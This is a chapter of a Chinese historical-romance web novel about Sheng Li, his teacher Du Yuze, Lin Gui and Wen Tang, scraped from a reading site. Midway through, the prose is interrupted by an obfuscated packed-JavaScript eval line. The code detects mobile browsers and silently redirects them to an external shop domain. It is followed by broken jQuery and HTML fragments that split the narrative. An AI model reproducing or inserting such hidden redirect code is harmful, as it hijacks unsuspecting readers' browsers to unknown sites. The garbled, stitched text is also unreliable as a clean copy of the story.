文趣网 > 其他小说 > 渡归途 > 47. 林游之
    临时起意办的家宴,菜式简单。兄妹二人见面,本就不需要多奢华的环境。

    既是家宴,赵淮安自然不会在宴上多说什么,找了个借口,先回了昭仁殿。

    沈黎离宫时,已过晌午。

    赵淮安离宴前,和他说杜聿则总是在他面前提起沈黎。沈黎回京后已见过杜聿则多回,可要说登府拜访老师,今日是赵昀死后的第一回。

    杜聿则知晓赵淮安今日在宫中宴请了沈黎,听人禀报沈黎前来拜访,心中有了思量。

    他站在府中的一个小屋中,远远就听见自家夫人和沈黎的声音。拉开屋门,便看见走近的二人。

    两人停下脚步,杜夫人看见杜聿则一直瞧着沈黎,心下暗自叹了口气,看向沈黎:“去吧,有话好好说。”

    沈黎轻轻点头,看着师母走远,才随着杜聿则走入屋中,转身关上房门。

    忽然拜访,谁也没有先行开口。

    杜聿则背对着他,陷入回忆:“还记得这间屋子吗?”

    沈黎在杜府拿不出任何气焰:“记得。”

    “你少时总是闯祸,你父亲无法,狠心把你交到了我的府上。”杜聿则转过身,“你便成了我的第一个学生。”

    “也是最差的一个。”

    “若是你父亲仍在,见你如此,心中该有多痛。”

    杜聿则的语气有些激动,沈黎微微侧过被刺字了的左脸。

    “他才不会呢。”

    杜聿则没有理会他的顶嘴,移开目光,看着屋中的陈设。

    “一晃也十几年过去了,你父亲走了。”他话语一顿,“都走了,我也老了。”

    沈黎张了张嘴,感觉鼻头有些发酸。

    “官家让你来的吧。”

    “官家说,你总是提到我。”

    杜聿则转过身:“娘娘是官家的妃嫔,沾亲带故,我在官家面前提你,不合适。”杜聿则停顿许久,才继续说道,“可知,官家为何要你来这一趟。”

    “官家想知道老师的态度?”

    杜聿则走到一旁坐下,摆手让沈黎也坐下:“这两日各国的使臣,便各自回去了。此一回,各国间的政局就要变了。”

    “只要朝堂内部不起乱子,一时的太平,还是可保的。”

    “三五年的太平或可保,十年,百年呢?”

    沈黎抬起头:“北境不需要我。”

    “调你回京,只是权宜之计,时机一到,还是需要你去北境的。”

    沈黎一时沉默,瞳孔微缩。

    杜聿则笑着看他:“不愿回去?”

    他移开目光沉默着,眼角微动,再次对上老师的目光:“百年又如何保?”

    “要去做,方知晓。”

    “老师不怕我重蹈覆辙?”

    杜聿则的目光一下变得深沉,眼底深处似有痛意。他喉头滚动,面上动了又动。

    他压低声音:“我的学生,无辙可蹈。”

    屋中的窗檐上落着些浮灰,桌椅一排排的放置着,沈黎无意间抬手擦过,一条长痕留在矮桌上。

    沈黎又想起朝会之事:“那官家要陈天安去湖南,是何缘由?”

    陈天安也不解:“父亲,官家莫不是...”

    “慎言。”

    陈天安停住话语。

    陈旌合反问他:“若不让你去,你觉得应该安排谁去湖南?”

    陈天安落后他半步:“太常寺的孙维,去年去过通州,对地方的情况很有心得。”

    “让他跟着你一起去。”

    此处是京郊外的一处堆垛场。陈旌合走到一旁,一手拿起一把斧头,走到柴堆旁,一抬手,斧光闪过。

    “左迁死了,官家手下的人一时没有能调去湖南的。与其让我安排人,他不如直接安排你去,把这步棋走废。”

    他又搬来一垛柴,将其劈开:“不劈吗?”

    陈天安一怔:“啊?”

    “林归查到吏部了,这事不能拖。那人还没有找到?”

    陈天安在一旁摇了摇头。

    陈旌合瞥他一眼,劈下身前的柴,斧头狠狠嵌入其中。

    “都无用了。”

    沈黎在杜聿则的府上用过晚饭,走到街巷上,日头还未下山,余晖映在街头的瓦片上。

    他停下脚步,皱眉重重叹出一口气,扭头向后走去。

    有了上一回的经验,沈黎这一次翻墙是轻车熟路。这一片林归交代过府中其余的人不得擅自靠近,他这次翻墙更是比上一次还轻松。

    林归午后去了皇城司,现在还没有回府。沈黎跳下墙头时,温棠就站在院中收拾今日拖剑钊备下的东西。

    见到彼此,两人俱是怔愣,温棠无措的抱着寒水香,沈黎更是下巴都要掉下去。

    “你?你你...你是...温,温棠?”

    沈昭汀少时也就这么一个手帕交,沈黎因此有些印象。

    温棠也惊的张开了嘴,好半天才反应过来,重新换了副表情,勉强笑着。

    “沈将军?您这是?”

    “你怎么在这?”

    两人同时开口,沈黎往前走两步,又转身看向外门的方向:“没走错吧?”

    “将军这也不是走进来的。”

    温棠大概知道林归和这几人过去的关系,见沈黎当下的反应,也便反应过来,没有惊慌。

    “你怎么在上京?见过照汀了吗?你怎么在他的府上?”

    温棠将香放下,走到廊下,有些无奈:“我应该先回答哪个?”

    “她在宫里,想来你们也不好见。但你和林归是怎么回事?”

    沈黎再次张开了嘴,眨了眨眼,脑中闪过许多思绪,和一些画面。又不自觉的眯起了眼,看向温棠。

    温棠猜到他是误会了:“那个,不是你想的那样。我只是暂时在这里,借住一下。”

    她不好解释之前发生的事情,她还摸不清林归现在对沈黎的态度。

    沈黎微微侧头,唇角有些上扬,一副我都明白的模样。

    温棠现在只希望林归赶紧回来。

    “沈将军,今日还得麻烦你,当做没有见过我。”

    沈黎不傻,温棠既然出现在林归的府上,两人关系再怎么样,也肯定是有别的事情发生。该怎么做,他很清楚。

    “温娘子放心,倒是你住在这,天天面对他,委屈你了。”他发自内心的担忧温棠的现状。

    “将军多虑了,林大人为人很心善。”

    沈黎瞪大了眼睛,看着温棠的目光有些震荡。

    他有些感慨:“多年不见,温娘子也是变化颇大。”

    “将军也是,说是要去闯荡江湖,最后还是入了朝堂。”

    沈黎黯下目光,无奈轻笑一声,一晃身,转身坐在廊下,伸开右腿,微微向后靠去。

    “又有什么区别呢?”

    “有区别的。”温棠也在一旁抱膝坐下,看向远处的落日,“有人以入仕为理想,提笔握剑,以安天下。江湖却有江湖的风骨,看过的风景不同,经历不同,人之抱负自有差异。”

    温棠侧头看他:“可人都会变,既非天上的仙人,世间事总有不同。”

    “有何不同?”

    “有人看过了光明或是黑暗,人之志向会变。而有人并非改变己志,只再无选择的机会。”温棠笑了笑,“将军是哪种?”

    沈黎右臂撑在石阶:“其实无论哪种,都没有太大区别。过去的经历也好,世道也罢,能改变的很少,更多的只能适应。”

    “我以为将军不是消沉之人。”

    沈黎来了兴趣:“何以见得?”

    “若真是将军说的这样,当年又何必一起入了刑部大牢,何苦险些死在北境。沈家兄长不是认命之人,从不以艰险而生退意。”

    沈黎短暂沉默,长出一口气:“或许吧,总归,今天也都走到这一步了。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709789|204612||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    温棠没有接话,看向远处。

    “当年的事,是我们对不起你。”

    “嗯?”温棠转过头,没听明白。

    “要不是我和赵...和他的事,温大人也不会...”沈黎感觉开口有些艰难,喉咙发紧,“总归,你若是有何请求,我绝不推辞。”

    温棠看着他,忽然笑了出来:“这哪跟哪呀,要说和赵将军有关也就罢了,跟你又是哪的关系?”

    他还是温棠的记忆中那个性情的沈黎,温棠低头笑着,怎么见过的故人,一个个都觉得欠了她一样,只她一人不做此想。

    “先不说这些,先说说你和林归是怎么回事,你们怎么会认识?”

    “这个...”

    “温姑娘!”剑钊匆匆赶来,他早听到了沈黎的声音,见他二人似是相识,稍稍放下心。

    见他跑来,温棠问他:“你家大人呢?”

    “官家临时传唤,大人进宫了。沈将军这是?”

    沈黎冷笑一声,扭头不做回答。

    “将军是否要进屋等大人?”

    他重重一闭眼:“不必,寻他打架的,既入宫见官家去了,我便不等了。”

    温棠在这,他不好多待。

    见他又要翻墙离去,温棠喊住他:“沈将军。”

    沈黎冲她点点头:“放心吧。”

    此时夜幕已经降临,天亮后,陈天安一行人便要离京前往湖南。温棠不得离府,不知外头的消息。剑钊事忙,见温棠无恙,便先行离开。

    她相信林归,也没有理由不信他。他说了会处理好此事,就一定有办法,她并不担心。她只担心时间就此被耽搁。

    这两日皇城司无事时,林归就会留在府中。但无事便不会离开书房,他有些不知该如何面对她。

    离宫的路上,他便得知沈黎又去了他的府上。温棠和沈黎认识,他并不意外,但无意间提醒了他,他做的不够快,潜藏的危险,便一直存在。

    林归回来时,温棠仍坐在廊下。一如他们二人去年此时,在京中重逢。

    “怎么坐在这里?”

    “屋中有些闷。”

    林归在她面前几步的位置站住:“那明日我让人去多采买些冰块。”

    “今日事忙吗?”

    “陈天安明日带人赴湖南查访粮税,官家传我进宫商量随行人员。”

    “今日决议,明日便出发?”

    “嗯。”

    “那你要去吗?”

    林归愣了下,朝前走近一步,放轻声音:“我不去。官家的意思也并非是让我去,只是安排人手负责随行人员的安全。”

    温棠点点头。

    林归走向前,坐在廊下的另一边,想着她是不是在这里坐了很久。

    “不想让我去吗?”

    温棠摇摇头:“粮税一端牵着两头,无论是谁去,都不敢在此事上动手脚。但...能少一事,官家应当放心一分。”

    林归笑起来:“不是这么论的。”

    温棠轻叹了一口气,不再和他谈论这个话题。

    “今日沈黎来过了。”

    “嗯,我知道。他没有为难你吧。”

    温棠摇头,林归便也放下心。沈黎分得清轻重,不会往外说。

    夏风吹过二人,院中传来夏日的蝉鸣声,月上梢头,洒满院中。二人忽然寂静下来,府中显得格外安静。

    忽然,温棠侧头看他,目光格外温柔:“今日累了吧,早些休息。”

    “温棠。”

    “怎么了?”

    林归看着她,像是想到了很多,他自己都不知道为何要突然喊住她。

    “没怎么,早点休息吧,要是屋中太闷,就把门窗打开。左右无人会过来,无妨的。”

    温棠点点头,站起身,却并未离开。

    林归带着探究的目光看着她。

    “生辰快乐,林游之。”